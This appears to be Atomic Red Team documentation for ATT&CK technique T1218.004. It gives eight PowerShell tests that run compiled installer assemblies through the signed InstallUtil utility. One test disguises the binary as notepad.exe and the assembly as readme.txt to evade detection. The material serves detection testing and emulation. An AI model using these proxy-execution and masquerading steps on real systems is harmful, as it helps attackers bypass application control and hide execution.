T1218.004
Signed Binary Proxy Execution: InstallUtil
Description from ATT&CK
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe.
InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)
Atomic Tests
Atomic Test #1 - CheckIfInstallable method call
Executes the CheckIfInstallable class constructor runner instead of executing InstallUtil. Upon execution, the InstallUtil test harness will be executed. If no output is displayed the test executed successfuly.
Supported Platforms: windows
auto_generated_guid: ffd9c807-d402-47d2-879d-f915cf2a3a94
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
| assembly_dir | directory to drop the compiled installer assembly | path | $Env:TEMP\ |
| invocation_method | the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable | string | CheckIfInstallable |
| assembly_filename | filename of the compiled installer assembly | string | T1218.004.dll |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$ExpectedOutput = 'Constructor_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
CheckIfInstallable method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
Atomic Test #2 - InstallHelper method call
Executes the InstallHelper class constructor runner instead of executing InstallUtil. Upon execution, no output will be displayed if the test executed successfuly.
Supported Platforms: windows
auto_generated_guid: d43a5bde-ae28-4c55-a850-3f4c80573503
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
| assembly_dir | directory to drop the compiled installer assembly | path | $Env:TEMP\ |
| invocation_method | the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable | string | InstallHelper |
| assembly_filename | filename of the compiled installer assembly | string | T1218.004.dll |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallHelper method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
Atomic Test #3 - InstallUtil class constructor method call
Executes the installer assembly class constructor. Upon execution, version information will be displayed the .NET framework install utility.
Supported Platforms: windows
auto_generated_guid: 9b7a7cfc-dd2e-43f5-a885-c0a3c270dd93
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
| assembly_dir | directory to drop the compiled installer assembly | path | $Env:TEMP\ |
| invocation_method | the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable | string | Executable |
| assembly_filename | filename of the compiled installer assembly | string | T1218.004.dll |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil class constructor execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
Atomic Test #4 - InstallUtil Install method call
Executes the Install Method. Upon execution, version information will be displayed the .NET framework install utility.
Supported Platforms: windows
auto_generated_guid: 9f9968a6-601a-46ca-b7b7-6d4fe0f98f0b
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
| assembly_dir | directory to drop the compiled installer assembly | path | $Env:TEMP\ |
| invocation_method | the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable | string | Executable |
| assembly_filename | filename of the compiled installer assembly | string | T1218.004.dll |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=install `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Install_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil Install method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
Atomic Test #5 - InstallUtil Uninstall method call - /U variant
Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.
Supported Platforms: windows
auto_generated_guid: 34428cfa-8e38-41e5-aff4-9e1f8f3a7b4b
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
| assembly_dir | directory to drop the compiled installer assembly | path | $Env:TEMP\ |
| invocation_method | the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable | string | Executable |
| assembly_filename | filename of the compiled installer assembly | string | T1218.004.dll |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false /U `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
Atomic Test #6 - InstallUtil Uninstall method call - '/installtype=notransaction /action=uninstall' variant
Executes the Uninstall Method. Upon execution, version information will be displayed the .NET framework install utility.
Supported Platforms: windows
auto_generated_guid: 06d9deba-f732-48a8-af8e-bdd6e4d98c1d
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
| assembly_dir | directory to drop the compiled installer assembly | path | $Env:TEMP\ |
| invocation_method | the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable | string | Executable |
| assembly_filename | filename of the compiled installer assembly | string | T1218.004.dll |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/logfile= /logtoconsole=false /installtype=notransaction /action=uninstall `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_Uninstall_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil Uninstall method execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
Atomic Test #7 - InstallUtil HelpText method call
Executes the Uninstall Method. Upon execution, help information will be displayed for InstallUtil.
Supported Platforms: windows
auto_generated_guid: 5a683850-1145-4326-a0e5-e91ced3c6022
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
| assembly_dir | directory to drop the compiled installer assembly | path | $Env:TEMP\ |
| invocation_method | the type of InstallUtil invocation variant - Executable, InstallHelper, or CheckIfInstallable | string | Executable |
| assembly_filename | filename of the compiled installer assembly | string | T1218.004.dll |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "/? `"$InstallerAssemblyFullPath`""
$ExpectedOutput = 'Constructor_HelpText_'
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = '#{invocation_method}'
CommandLine = $CommandLine
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
InstallUtil HelpText property execution test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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$InstallerAssemblyDir = "#{assembly_dir}"
$InstallerAssemblyFileName = "#{assembly_filename}"
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
Remove-Item -Path $InstallerAssemblyFullPath -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"
Atomic Test #8 - InstallUtil evasive invocation
Executes an InstallUtil assembly by renaming InstallUtil.exe and using a nonstandard extension for the assembly. Upon execution, "Running a transacted installation." will be displayed, along with other information about the opperation. "The transacted install has completed." will be displayed upon completion.
Supported Platforms: windows
auto_generated_guid: 559e6d06-bb42-4307-bff7-3b95a8254bad
Inputs:
| Name | Description | Type | Default Value |
|---|---|---|---|
| test_harness | location of the test harness script - Invoke-BuildAndInvokeInstallUtilAssembly | path | PathToAtomicsFolder\T1218.004\src\InstallUtilTestHarness.ps1 |
Attack Commands: Run with powershell!
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# Import the required test harness function, Invoke-BuildAndInvokeInstallUtilAssembly
. "#{test_harness}"
$InstallerAssemblyDir = "$Env:windir\System32\Tasks"
$InstallerAssemblyFileName = 'readme.txt'
$InstallerAssemblyFullPath = Join-Path -Path $InstallerAssemblyDir -ChildPath $InstallerAssemblyFileName
$CommandLine = "readme.txt"
$ExpectedOutput = 'Constructor_'
# Explicitly set the directory so that a relative path to readme.txt can be supplied.
Set-Location "$Env:windir\System32\Tasks"
Copy-Item -Path "$([System.Runtime.InteropServices.RuntimeEnvironment]::GetRuntimeDirectory())InstallUtil.exe" -Destination "$Env:windir\System32\Tasks\notepad.exe"
$TestArgs = @{
OutputAssemblyDirectory = $InstallerAssemblyDir
OutputAssemblyFileName = $InstallerAssemblyFileName
InvocationMethod = 'Executable'
CommandLine = $CommandLine
InstallUtilPath = "$Env:windir\System32\Tasks\notepad.exe"
}
$ActualOutput = Invoke-BuildAndInvokeInstallUtilAssembly @TestArgs -MinimumViableAssembly
if ($ActualOutput -ne $ExpectedOutput) {
throw @"
Evasive Installutil invocation test failure. Installer assembly execution output did not match the expected output.
Expected: $ExpectedOutput
Actual: $ActualOutput
"@
}
Cleanup Commands:
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Remove-Item -Path "$Env:windir\System32\Tasks\readme.txt" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallLog" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\readme.InstallState" -ErrorAction Ignore
Remove-Item -Path "$Env:windir\System32\Tasks\notepad.exe" -ErrorAction Ignore
Dependencies: Run with powershell!
Description: InstallUtil test harness script must be installed at specified location (#{test_harness})
Check Prereq Commands:
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if (Test-Path "#{test_harness}") {exit 0} else {exit 1}
Get Prereq Commands:
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New-Item -Type Directory (split-path "#{test_harness}") -ErrorAction ignore | Out-Null
Invoke-WebRequest 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.004/src/InstallUtilTestHarness.ps1' -OutFile "#{test_harness}"